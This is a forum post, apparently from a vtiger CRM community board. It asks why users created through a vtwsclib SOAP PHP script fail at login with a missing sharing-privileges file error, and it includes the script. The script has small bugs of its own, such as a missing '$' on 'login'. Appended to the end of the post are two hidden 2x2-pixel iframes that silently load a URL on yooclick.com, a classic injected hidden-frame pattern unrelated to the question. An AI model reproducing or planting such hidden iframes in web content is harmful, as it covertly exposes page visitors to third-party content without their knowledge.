problem creating user via vtwsclib (Soap)

Hello,

Im trying to create user via soap(vtwsclib). New user gets created OK but when loggin in, I get this;
Warning: require(user_privileges/sharing_privileges_18.php) [function.require]: failed to open stream: No such file or directory in /var/www/vtigercrm510/include/utils/UserInfoUtil.php on line 752

Fatal error: require() [function.require]: Failed opening required 'user_privileges/sharing_privileges_18.php' (include_path='/var/www/vtigercrm510/include/htmlpurifier/library:.:/usr/share/php:/usr/share/pear') in /var/www/vtigercrm510/include/utils/UserInfoUtil.php on line 752


If I login as Admin and go to that users page, click Edit then Save, the user can login normally. So am I missing some part of the user creation script?

Here is the script im making the user in php.
<?php
include_once('vtwsclib/Vtiger/WSClient.php');

$url= 'http://url/vtigercrm510';
$client = new Vtiger_WSClient($url);

$login =  $client->doLogin('admin', 'key');
if (!login) echo 'Login Failed';
else {

$module = 'Users';
        $record = $client->doCreate($module,
        Array('last_name'=>'soappi', 'roleid'=>'H3', 'user_name'=>'soappi8',
        'user_password'=>'test', 'confirm_password'=>'passwd',
        'email1'=>'email@', 'is_admin'=>'off',
        'status'=>'Active', 'reminder_interval'=>'None',
        'date_format'=>'dd-mm-yyyy', 'lead_view'=>'Today',
        'activity_view'=>'Today'));

        if($record) {
                $recordid = $client->getRecordId($record['id']);
        print_r($recordid);

        }
}
?>

I added the status, reminder etc afterwards during the test, I think those are not required. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

Sign In or Register to comment.